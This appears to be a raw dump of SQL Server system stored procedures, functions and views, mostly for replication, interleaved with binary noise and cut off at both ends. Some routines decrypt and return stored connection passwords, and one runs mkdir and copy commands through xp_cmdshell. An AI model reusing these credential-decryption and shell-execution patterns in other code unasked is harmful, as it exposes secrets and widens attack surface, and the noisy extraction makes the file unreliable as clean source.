            return (1)
        -- ident_current is NULL the server will start inserting from next_seed. However if ident_current
        -- is not null the server will insert from next_seed+ident_increment. However our constraint
        -- always says ">next_seed". To keep the constrain the same and range values consistent
        -- if ident_current is NULL here we need to reseed to next_seed + ident_increment.
        if exists (select 1 from sys.identity_columns where object_id=@objid and last_value is NULL)
        begin
            declare @temp_next_seed bigint
            select @temp_next_seed = @next_seed + IDENT_INCR(@qualname)
            DBCC CHECKIDENT(@qualname, RESEED, @temp_next_seed) with no_infomsgs
            if @@ERROR<>0
                return (1)
        end
    end

    if @is_publisher < 0
    begin
        -- Used by tran
        -- Publisher side constraint maybe transfered to subscriber.
        -- If so, it will be dropped with code below.
        select @constraintname = NULL
        select @constraintname = name from sys.objects where name like @prefix + 'tran_[0-9]%' and 
                    type='C' and
                    parent_object_id = @objid
        if @constraintname is not null
        begin
                -- signal to db ddl trigger to bail out
                EXEC @retcode = sys.sp_MSsetcontext_bypasswholeddleventbit @onoff=1
                IF @@ERROR <> 0 or @retcode <> 0
                    RETURN(1)

                select @cmd = 'alter table '+ @qualname + ' drop constraint ' + quotename(@constraintname)
				exec(@cmd)
                if @@ERROR<>0
                    goto err_clean

                EXEC @retcode = sys.sp_MSsetcontext_bypasswholeddleventbit @onoff=0
                IF @@ERROR <> 0 or @retcode <> 0
                    RETURN(1)
        end
        -- Prepare the name of the constraint we are going to create
        select @constraintname = @prefix + 'tran_' + convert(nvarchar(10), @objid)
        while (1=1)
            begin
            if exists (select * from sys.objects where name = @constraintname)
            begin
                -- A constraint already exists in the database with same name
                -- Change the name
                select @constraintname = @constraintname + convert(nvarchar(10), @objid)
            end
            else
            begin
                -- We can use the current constraint name to create the constraint
                break
            end
        end
    end
    else
    begin 
        -- Used by merge
        -- turn on context bit so DDL event will not be replicated
        EXEC @retcode = sys.sp_MSsetcontext_merge_identityrangeddlbit @onoff=1
        IF @@ERROR <> 0 or @retcode <> 0
            RETURN(1)

        declare @prefixlike sysname

        select @prefixlike = @prefix + '%'

        -- drop all identity range constraints which contain the repl_identity_range prefix
        select @constraintname = NULL
        select top 1 @constraintname = name from sys.objects where parent_object_id=@objid and type='C' and name like @prefixlike
        while @constraintname is not NULL
        begin
            select @cmd = 'alter table '+ @qualname + ' drop constraint ' + quotename(@constraintname)
			exec(@cmd)
            if @@ERROR<>0
                goto err_clean
            select @constraintname = NULL
            select top 1 @constraintname = name from sys.objects where parent_object_id=@objid and type='C' and name like @prefixlike
        end
         
        select @artid=artid from dbo.sysmergearticles where objid=@objid
        if @is_publisher=1
            select @constraintname = @prefix + 'pub_' + convert(nvarchar(36), @artid)
        else 
        if @is_publisher = 2
            select @constraintname = @prefix + 'repub_' + convert(nvarchar(36), @artid)
        else
            select @constraintname = @prefix + 'sub_' + convert(nvarchar(36), @artid)
        select @constraintname = REPLACE(@constraintname, '-', '_')
    end

    -- Don't add new constraint if only drop is needed.
    if @drop_only = 1
        goto success_clean

    declare @qualcolname nvarchar(258)
    select @qualcolname = quotename(@colname)

    -- signal to db ddl trigger to bail out
    EXEC @retcode = sys.sp_MSsetcontext_bypasswholeddleventbit @onoff=1
    IF @@ERROR <> 0 or @retcode <> 0
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<	\	3|0/n 8-------------------------------------------------------------------------------
-- Name: sys.fn_RowDumpCracker 
--
-- Description:
--	Cracks the output of %%rowdump%% virtual column
--
-- Notes:
--	1. If inrowLength is 0 it implies the column is null or 0-length
--	2. If information about a column is not output then it must be a trailing 
--	   null or 0-length variable length column.
--	3. Filters out columns that have been dropped.
--	4. Filters out uniquifiers.
--	5. Does not report clustering key columns in non-clustered indexes
--    6. Rowdump format: this explains the constants used below
--		<rowset_id>|<colcount>|<col 1>| ... | <col N>
--		8 bytes    |4 bytes   |10bytes | ... | 10 bytes
-------------------------------------------------------------------------------
CREATE FUNCTION sys.fn_RowDumpCracker (@rowdump AS varbinary (max))
RETURNS @varColumns TABLE
(
  partition_id				BIGINT NOT NULL,		-- partition id to use for join against system views
  colName					sysname NULL,			-- name of column, NULL if a dropped column
  IsInrow					BIT NOT NULL,			-- is the column's value inlined or off-row
  IsSparse					BIT NOT NULL,			-- is the column a sparse column? 
  IsRecordPrefixCompressed	BIT NOT NULL,			-- is the record prefix compressed?
  IsSymbol					BIT NOT NULL,			-- is this column a symbol?
  PrefixBytes				INT NOT NULL,			-- the number of prefix bytes used by this column
  InRowLength				INT NOT NULL			-- what is the length of in-row content of the column
)
as
begin

	declare @offset			int
	declare @column_count	int
	declare @i				int
	declare @partition_id	bigint
	declare @column_offset	int
	declare @column_id		int
	declare @reserved_id int

	-- Check there are enough bytes for partition_id and var column count
	--
	if (datalength (@rowdump) < (8 + 4 + 4))
	BEGIN
		RETURN
	END

	select @offset = 1				-- Start at offset 1

	select @partition_id = convert (bigint, convert (binary(8), reverse (substring (@rowdump, @offset, 8))))

	if not exists (select * from sys.system_internals_partitions where partition_id = @partition_id)
	BEGIN
		RETURN
	END

	set @offset = @offset + 8		-- partition ID is 8 bytes

	select @reserved_id = convert (int, convert (binary(4), reverse (substring (@rowdump, @offset, 4)))) 
	set @offset = @offset + 4		-- Reserved ID is 4 bytes


	select @column_count = convert (int, convert (binary(4), reverse (substring (@rowdump, @offset, 4)))) 

	-- Quick return on bad bytes. Here the var column count is too large
	-- NOTE: 1024 is the same as COLCOUNT in code. +50 to account for hidden columns.
	--
	if (@column_count > 1024+50)
	BEGIN
		RETURN
	END
	
	select @offset = @offset + 4	-- Column count is 4 bytes

	-- Check enough bytes for number of variable length columns - need 2 bytes per column
	--
	if ((datalength (@rowdump) - @offset + 1) <> (@column_count * 10))
	BEGIN
		RETURN
	END

	set @i = 0
	while (@i < @column_count)
	begin
		
		declare @column_info smallint
		declare @inrow_len smallint
		declare @prefix_bytes int
		declare @inrow_len_offset int
		declare @colinfo_offset int
		declare @prefix_bytes_offset int
		declare @colName sysname
		declare @isSparse bit
		declare @isInRow bit
		declare @isSymbol bit
		declare @isRecPrefixed bit
		declare @column_id_offset int

		-- The column id corresponds to first 4 bytes of the column structure.
		--
		select @column_id_offset = @offset
		select @column_id = convert (int, convert (binary(4), reverse (substring (@rowdump, @column_id_offset, 4))))

		-- Next 2 bytes is the in-row length of the column value.
		--
		select @inrow_len_offset =  @column_id_offset + 4
		SET @inrow_len = convert (smallint, convert (binary (2), reverse (substring (@rowdump, @inrow_len_offset, 2))))

		-- Next 2 bytes is the column info flags.
		--
		select @colinfo_offset = @inrow_len_offset + 2
		SET @column_info = convert (smallint, convert (binary (2), reverse (substring (@rowdump, @colinfo_offset, 2))))

		-- Next 2 bytes is the prefix bytes block.
		--
		select @prefix_bytes_offset = @colinfo_offset + 2
		SET @prefix_bytes = convert (int, convert (binary (2), reverse (substring (@rowdump, @prefix_bytes_offset, 2))))

		if (@column_info & 0x1 != 0)	
			set @isInRow = 0 
		else
			set @isInRow = 1

		if (@column_info & 0x2 != 0)
			set @isSparse = 1
		else 
			set @isSparse = 0

		if (@column_info & 0x4 != 0)
			set @isSymbol = 1
		else
			set @isSymbol = 0

		if (@column_info & 0x8 != 0)
			set @isRecPrefixed = 1
		else
			set @isRecPrefixed = 0

		if (@column_id is not null)
		begin
			select @colName = name
			from sys.columns cols join
				(select ic.column_id, ic.object_id
				from sys.columns ic join sys.system_internals_partitions sip 
					on (ic.object_id = sip.object_id)
				where sip.partition_id = @partition_id and
					ic.column_id = @column_id) colidSrc
			on (colidSrc.object_id = cols.object_id and colidSrc.column_id = cols.column_id)

			insert into @varColumns values (@partition_id, @colName, @isInRow, @isSparse, @isRecPrefixed, @isSymbol, @prefix_bytes, @inrow_len)
		end

		-- Move to next column
		--
		set @offset = @offset + 10
		set @i = @i + 1

		-- These values have to be reinitialized after each iteration to ensure that our NULL checks 
		-- will succeeed.  If the join produces no rows, then the variable isn't automatically re-
		-- initialized.  That breaks us.
		--
		set @column_id = null
		set @colName = null
	end

	return
end
0`n@ w8CREATE VIEW sys.dm_xe_sessions AS
	SELECT *
	FROM OpenRowset(TABLE DM_XE_SESSIONS) 
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<2\	ڳ0E l8create procedure sys.sp_helpsubscription_properties
        @publisher sysname = '%', 
        @publisher_db sysname = '%', 
        @publication sysname = '%', 
        @publication_type int = NULL
    AS

    SET NOCOUNT ON
    DECLARE @retcode int,
    		@fpullsubexists bit

	SELECT @fpullsubexists = 0
    /*
    ** Security Check
    */

    EXEC @retcode = sys.sp_MSreplcheck_subscribe
    IF @@ERROR <> 0 or @retcode <> 0
        RETURN(1)

    -- Check the publication_type value if it is not NULL
    IF @publication_type is not NULL
        and @publication_type not in (0, 1, 2)
    BEGIN
        declare @val varchar(20)

        select @val = cast(@publication_type as varchar)

        -- '%s' is not a valid value for the '%s' parameter. The value must be 0, 1, or 2.
        raiserror(21117, 16, -1, @val, '@publication_type')

        RETURN(1)
    END
    
    /*
    ** The logic is added here for the case where MSsubscription_properties table does not exist
    ** or relevant entry is not added because sp_addmergepullsubscription_agent or sp_addsubscription_agent
    ** is not called.
    */
    IF object_id('MSsubscription_properties','U') is NULL
    begin
        return (0)
    end
    
    IF (@publisher IS NULL) OR (@publisher = '')
        select @publisher = '%'
    IF (@publisher_db IS NULL) OR (@publisher_db = '')
        select @publisher_db = '%'
    IF (@publication IS NULL) OR (@publication = '')
        select @publication = '%'

	IF object_id('MSreplication_subscriptions','U') IS NOT NULL
	BEGIN
		-- tran
		IF EXISTS(SELECT *
					FROM MSreplication_subscriptions
					WHERE subscription_type != 0)
		BEGIN
			SELECT @fpullsubexists = 1
		END
	END

	IF object_id('sysmergesubscriptions','U') IS NOT NULL
	BEGIN
		-- Merge
		IF EXISTS(SELECT *
				FROM sysmergesubscriptions
				WHERE subscription_type != 0)
		BEGIN
			SELECT @fpullsubexists = 1
		END
	END
	
    IF @publication_type IS NOT NULL
    BEGIN
        SELECT publisher, publisher_db, publication, publication_type, publisher_login,
               sys.fn_repldecryptver4(publisher_password), publisher_security_mode, distributor, distributor_login,
               sys.fn_repldecryptver4(distributor_password), distributor_security_mode, 'ftp_address' = null, 'ftp_port' = 0,
               'ftp_login' = null, 'ftp_password' = null, alt_snapshot_folder, working_directory, use_ftp,
               dts_package_name, sys.fn_repldecryptver4(dts_package_password), dts_package_location, 
               offload_agent, offload_server, dynamic_snapshot_location, use_web_sync, internet_url,
               internet_login, sys.fn_repldecryptver4(internet_password), internet_security_mode, internet_timeout, hostname
          FROM MSsubscription_properties
         WHERE ((@publisher = N'%') OR (UPPER(publisher) = UPPER(@publisher)))
           AND ((@publisher_db = N'%') or ( publisher_db = @publisher_db))
           AND publication LIKE @publication
           AND publication_type = @publication_type
    END
    ELSE
    BEGIN
        SELECT publisher, publisher_db, publication, publication_type, publisher_login,
               sys.fn_repldecryptver4(publisher_password), publisher_security_mode, distributor, distributor_login,
               sys.fn_repldecryptver4(distributor_password), distributor_security_mode, 'ftp_address' = null, 'ftp_port' = 0,
               'ftp_login' = null, 'ftp_password' = null, alt_snapshot_folder, working_directory, use_ftp,
               dts_package_name, sys.fn_repldecryptver4(dts_package_password), dts_package_location,
               offload_agent, offload_server, dynamic_snapshot_location, use_web_sync, internet_url,
               internet_login, sys.fn_repldecryptver4(internet_password), internet_security_mode, internet_timeout, hostname
          FROM MSsubscription_properties
         WHERE ((@publisher = N'%') OR (UPPER(publisher) = UPPER(@publisher)))
           AND ((@publisher_db = N'%') or ( publisher_db = @publisher_db))
           AND publication LIKE @publication
    END
	
    RETURN (0)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`o<7|0>y@ k8create procedure sys.xp_execresultset
(
    @cmd    nvarchar(4000),
    @dbname    sysname = NULL,
    @debug    bit = 0
)
as
begin
    declare @retcode bit,
            @proc nvarchar(4000)
    
    -- check to ensure that the @dbname provided is neither null or empty
    if isnull(rtrim(@dbname), N'') = N''
    begin
        raiserror('Internal Error : @dbname cannot be null or empty.', 16, -1)
        return 1
    end
    
    select @proc = quotename(@dbname) + N'.dbo.sp_execresultset' 
    exec @retcode = @proc @cmd, @debug
    
    return @retcode
end
0 P8ph>@0S@ ~8create procedure sys.sp_MSaddoffloadparameter (
    @offloadserver sysname, /* Name of the target server to offload the agent to */
    @job_id        VARBINARY(16), 
    @agenttype     NVARCHAR(20) /* Agent type can either be 'merge' or 'distribution' */
    ) AS
    
    SET NOCOUNT ON

    /*
    **  Declarations
    */

    DECLARE @command               NVARCHAR(3200)
    DECLARE @retcode               INT    

    -- Security check: dbo or sysadmin, dbo can be dbo of the distribution db
    EXEC @retcode = sys.sp_MSreplcheck_subscribe
    IF @retcode <> 0 OR @@ERROR <> 0
    BEGIN
        RETURN 1
    END

    -- initialize variables
    SELECT @command = NULL    

    -- call sp_MSremoveoffloadparameter to remove all exisiting instances of the 
    -- -offload parameters from the agent command line; the return status
    -- of sp_MSremoveoffloadparameter is ignored
    EXEC sys.sp_MSremoveoffloadparameter @job_id=@job_id, @agenttype=@agenttype
    
    -- update the agent command line by appending '-Offload ' + 
    -- @offloadserver    
    
    UPDATE msdb.dbo.sysjobsteps
       SET command = command + N' -Offload ' + @offloadserver 
     WHERE job_id = @job_id 
       AND LOWER(subsystem collate SQL_Latin1_General_CP1_CS_AS) = LOWER(@agenttype collate SQL_Latin1_General_CP1_CS_AS)
         
    RETURN 0
0@ 8create procedure sys.sp_startpublication_snapshot
(
    @publication    sysname,
    @publisher      sysname = null
)
as
begin
    set nocount on
    declare @cmd        nvarchar(4000)
    declare @retcode    int 
    declare @pubtype    sysname
    declare @start      tinyint    
    set @retcode = 0
    set @start = 0
    exec @retcode = sys.sp_MSrepl_getpublisherinfo  @publisher      = @publisher,
                                                    @publisher_type = @pubtype OUTPUT,
                                                    @rpcheader      = @cmd OUTPUT
    if @retcode <> 0
        return (@retcode)

    -- Add sp
    set @cmd = @cmd + N'sys.sp_MSrepl_publicationsnapshotjobcontrol'

    exec @retcode = @cmd
                    @publication = @publication,
                    @publisher = @publisher, 
                    @action = @start
    return (@retcode)

end
0 @ 8
CREATE PROCEDURE sys.sp_article_validation
(
	@publication 	sysname,	/* publication name */
	@article 	sysname,	/* article name */
	@rowcount_only 	smallint = 1,	/* type of check requested */       
	@full_or_fast 	tinyint = 2,	/* full (0) fast (1), or conditional fast (2)  method to calculate rowcount */
	@shutdown_agent bit = 0,	/* shut down agent after validation if 1 */
	@subscription_level bit = 0,	/* Whether or not the validation is only picked up by a set of subscribers */
	@reserved 	int = NULL,	/* If not null, the sp is called from sp_publication_validation */
	@publisher 	sysname = NULL	/* only non-null for heterogeneous publishers */	
)
AS
BEGIN
	DECLARE @cmd			nvarchar(4000)
	DECLARE @retcode		int
	DECLARE @publisher_type	sysname

	SET @retcode = 0
	
	EXEC @retcode = sys.sp_MSrepl_getpublisherinfo	@publisher      = @publisher,
													@publisher_type	= @publisher_type OUTPUT,
													@rpcheader      = @cmd OUTPUT
	
	IF @retcode <> 0
		RETURN (@retcode)

	if (@publisher_type = 'MSSQLSERVER')
	begin
		set @cmd = @cmd + N'sys.sp_MSarticle_validation '
		EXEC @retcode = @cmd
					@publication,
					@article,
					@rowcount_only,
					@full_or_fast,
					@shutdown_agent,
					@subscription_level,
					@reserved
	end
	else
	begin
		-- Heterogeneous articles are handled directly by sp_IHarticle_validation
		SET @publisher = UPPER(@publisher) COLLATE DATABASE_DEFAULT
		set @cmd = @cmd + N'sys.sp_IHarticle_validation '

		EXEC @retcode = @cmd
					@publication,
					@article,
					@rowcount_only,
					@full_or_fast,
					@shutdown_agent,
					@subscription_level,
					@reserved,
					@publisher,
					@publisher_type
	end	

	RETURN (@retcode)
END
0@ 8create procedure sys.sp_MScreatedownloadonlytriggers
    @artid    uniqueidentifier
as
    declare @objid int
    declare @cmd nvarchar(max)
    declare @qualified_tablename nvarchar(270)
    declare @ownername nvarchar(130)
    declare @tablename nvarchar(130)
    declare @triggername nvarchar(130)
    declare @guidstr nchar(32)
    declare @retcode int
    declare @upload_options    tinyint

    select top 1 @objid= objid, @ownername= destination_owner, @tablename= destination_object,
        @upload_options= upload_options
        from dbo.sysmergearticles where artid = @artid

    if @objid is null return 1
    
    exec @retcode=sys.sp_MSguidtostr @artid, @guidstr out
    if @retcode <> 0 or @@error <> 0 return (1)

    -- remove download-only trigger, if it exists
    set @triggername= 'MSmerge_downloadonly_' + @guidstr
    set @cmd= 'if object_id(''' + @triggername + ''', ''TR'') is not null
                    drop trigger [' + @triggername + ']'
    exec sys.sp_executesql @cmd
    if @@error <> 0 return 1

    -- Do not generate the trigger to block dml unless the upload_options is set to 'disable_uploads_prohibit_subscriber_changes' (2)

    if @upload_options <> 2
        return 0

    if @ownername is not null
        set @qualified_tablename= quotename(@ownername) + '.' + quotename(@tablename)
    else
        set @qualified_tablename= quotename(@tablename)

    set @triggername = 'MSmerge_downloadonly_' + @guidstr

    set @cmd='
    create trigger ' + @triggername + ' on ' + @qualified_tablename + ' for update, insert, delete
        not for replication
    as
         set nocount on

        if @@trancount > 0 rollback tran
        raiserror (20063, 16, -1, ''' + sys.fn_replreplacesinglequote(@qualified_tablename) + ''')

        return'

    exec sys.sp_executesql @cmd
    if @@error <> 0 return 1

    return 0
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!CP`<w%R`h0a@ '8create procedure sys.sp_control_plan_guide
	@operation nvarchar(60),
	@name sysname = NULL
as
BEGIN TRANSACTION

declare @return_code int

if( lower(@operation) = 'drop' OR lower(@operation) = 'enable' OR lower(@operation) = 'disable')
	exec @return_code = sys.sp_control_plan_guide_int @operation, @name
else
	exec @return_code = sys.sp_control_plan_guide_int @operation


if( @return_code = 0 )
begin
	if( lower(@operation) = 'drop' OR lower(@operation) = 'drop all')
	begin
	EXEC %%System().FireTrigger(ID = 238, ID = 27, ID = 0, ID = 0, Value = @name,
			ID = -1, ID = 0, ID = 0, Value = NULL, ID = 2,
			Value = @operation, Value = @name, Value = NULL, Value = NULL, Value = NULL, Value = NULL, Value = NULL)
	end
	else
	begin
	EXEC %%System().FireTrigger(ID = 216, ID = 27, ID = 0, ID = 0, Value = @name,
			ID = -1, ID = 0, ID = 0, Value = NULL, ID = 2,
			Value = @operation, Value = @name, Value = NULL, Value = NULL, Value = NULL, Value = NULL, Value = NULL)
	end
end

COMMIT TRANSACTION

0e @8
--
-- Name: sp_MSsubscription_enabled_for_syncmgr
--
-- Descriptions: 
--
-- Parameters: as defined in create statement
--
-- Returns: 0 - success
--          1 - Otherwise
--
-- Security: 
-- Requires Certificate signature for catalog access
--
create procedure sys.sp_MSsubscription_enabled_for_syncmgr
(
    @publisher         sysname = NULL, 
    @publisher_db     sysname = NULL, 
    @publication     sysname = NULL, 
    @subscriber     sysname = NULL,
    @subscriber_db     sysname = NULL,
    @enabled        int = NULL OUTPUT,
    @regkey            nvarchar(1000) = NULL OUTPUT
)
AS
BEGIN
    -- Drop the corresponding registry entry for MobileSync
    declare @keyexist            int
    
    -- no reg key to clean up for virtual subscribers
    if @subscriber is null
    begin
        select @enabled = 0
        return 0
    end
    
    SET @regkey = sys.fn_replgetsubscriptionregkey(@publisher, @publisher_db, @publication, @subscriber, @subscriber_db)
    
    BEGIN
        CREATE TABLE #keyexist (keyexist int)

        INSERT INTO #keyexist
        EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', @regkey

        SELECT    @enabled = keyexist
        FROM    #keyexist

        DROP TABLE #keyexist
    END

    return 0        
END
0t !8--
-- Name: sp_MScopysnapshot
--
-- Descriptions: 
--
-- Parameters: as defined in create statement
--
-- Returns: 0 - success
--          1 - Otherwise
--
-- Security: 
-- Requires Certificate signature for catalog access
--
create procedure sys.sp_MScopysnapshot (
    @source_folder           nvarchar(255),
    @destination_folder      nvarchar(255)
    )
AS
BEGIN
    SET NOCOUNT ON
    DECLARE @directory_exists bit    
    DECLARE @ftporuncdir      nvarchar(5)
    DECLARE @pubdir           nvarchar(255)
    DECLARE @timestampdir     nvarchar(255)
    DECLARE @bslashindex      int
    DECLARE @bslashindex2     int
    DECLARE @bslashcounter    int
    DECLARE @command          nvarchar(1000)
    DECLARE @retcode          int
    DECLARE @platform_nt      bit

    IF platform() & 0x1 = 0x1
        SELECT @platform_nt = 1
    ELSE
        SELECT @platform_nt = 0

    -- If @source_folder is NULL then either the snapshot has not been 
    -- generated or it has been cleaned up
    IF @source_folder IS NULL OR @source_folder = N''
    BEGIN
        RAISERROR(21289, 16, -1)
        RETURN (1)
    END

    -- Make sure that the @destination folder is not null
    IF @destination_folder IS NULL OR
       @destination_folder = N''
    BEGIN
        RAISERROR(21287, 16, -1)      
        RETURN (1)
    END

    -- Append backslash to @destination_folder if it is not 
    -- there already
    IF SUBSTRING(@destination_folder, LEN(@destination_folder), 1) <> N'\'
    BEGIN
        SELECT @destination_folder = @destination_folder + N'\'
    END

    -- Check if the destination folder exists 
    EXEC sys.sp_MSget_file_existence @destination_folder, @directory_exists OUTPUT
    IF @directory_exists = 0
    BEGIN
        RAISERROR(21287, 16, -1)      
        RETURN (1)
    END    
    
    -- Parse out the last three components in the source folder 
    -- Note that the source_folder must have a trailing backslash
    SELECT @bslashindex = 1
    SELECT @bslashindex2 = 1
    SELECT @bslashcounter = 0
    WHILE (@bslashindex <> 0)
    BEGIN
        SELECT @bslashindex = CHARINDEX(N'\', @source_folder, @bslashindex + 1)
        SELECT @bslashcounter = @bslashcounter + 1
        IF @bslashcounter > 4
        BEGIN
            SELECT @bslashindex2 = CHARINDEX(N'\', @source_folder, @bslashindex2 + 1)
        END    
    END  

    SELECT @bslashindex = CHARINDEX(N'\', @source_folder, @bslashindex2 + 1)
    SELECT @ftporuncdir = SUBSTRING(@source_folder, @bslashindex2 + 1, @bslashindex - @bslashindex2 - 1)
    SELECT @bslashindex2 = @bslashindex

    SELECT @bslashindex = CHARINDEX(N'\', @source_folder, @bslashindex2 + 1)
    SELECT @pubdir = SUBSTRING(@source_folder, @bslashindex2 + 1, @bslashindex - @bslashindex2 - 1) 
    SELECT @bslashindex2 = @bslashindex

    SELECT @bslashindex = CHARINDEX(N'\', @source_folder, @bslashindex2 + 1)
    SELECT @timestampdir = SUBSTRING(@source_folder, @bslashindex2 + 1, @bslashindex - @bslashindex2 - 1) 
    SELECT @bslashindex2 = @bslashindex
        
    -- Create the subdirectory structure underneath the specified snapshot
    -- folder. Ignore errors for now, we will check whether the directory 
    -- is successfully created later on.

    -- Don't suppress output from xp_cmdshell so user knows what's going on
    -- in case something goes wrong 
    SELECT @destination_folder = @destination_folder + @ftporuncdir + '\'
    SELECT @command = 'mkdir "' + sys.fn_escapecmdshellsymbolsremovequotes(@destination_folder) collate database_default + '"'
    IF (@platform_nt = 1)
        SELECT @command = '" ' + @command + ' "'
    EXEC master.dbo.xp_cmdshell @command
    
    SELECT @destination_folder = @destination_folder + @pubdir + '\'
    SELECT @command = 'mkdir "' + sys.fn_escapecmdshellsymbolsremovequotes(@destination_folder) collate database_default + '"'
    IF (@platform_nt = 1)
        SELECT @command = '" ' + @command + ' "'
    EXEC master.dbo.xp_cmdshell @command

    SELECT @destination_folder = @destination_folder + @timestampdir + '\'
    SELECT @command = 'mkdir "' + sys.fn_escapecmdshellsymbolsremovequotes(@destination_folder) collate database_default + '"'
    IF (@platform_nt = 1)
        SELECT @command = '" ' + @command + ' "'
    EXEC master.dbo.xp_cmdshell @command

    -- Check if the real destination folder exists
    EXEC sys.sp_MSget_file_existence @destination_folder, @directory_exists OUTPUT
    IF @directory_exists = 0
    BEGIN
        RAISERROR(21288, 16, -1)
        RETURN (1)
    END

    -- Do the actual copying
    SELECT @command = 'copy "' + sys.fn_escapecmdshellsymbolsremovequotes(@source_folder) collate database_default + '*.*" "' + sys.fn_escapecmdshellsymbolsremovequotes(@destination_folder) collate database_default + '"'    
    IF (@platform_nt = 1)
        SELECT @command = '" ' + @command + ' "'
    
    EXEC @retcode = master.dbo.xp_cmdshell @command
    
    IF @retcode <> 0
        RETURN (1)
    ELSE
        RETURN (0)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!	`<[jpv08l 8 
-- add it
create view sys.dm_pdw_nodes_tran_active_transactions as
select
transaction_id,
name,
transaction_begin_time,
transaction_type,
transaction_uow,
transaction_state,
transaction_status,
transaction_status2,
dtc_state,
dtc_status,
dtc_isolation_level,
filestream_transaction_id,
convert(int, null) pdw_node_id from sys.dm_tran_active_transactions
0u@ {8CREATE VIEW sys.dm_exec_connections AS
	SELECT *
	FROM OpenRowset(TABLE SYSCONNECTIONS)
04 8
create procedure sys.sp_MSiscolpk (
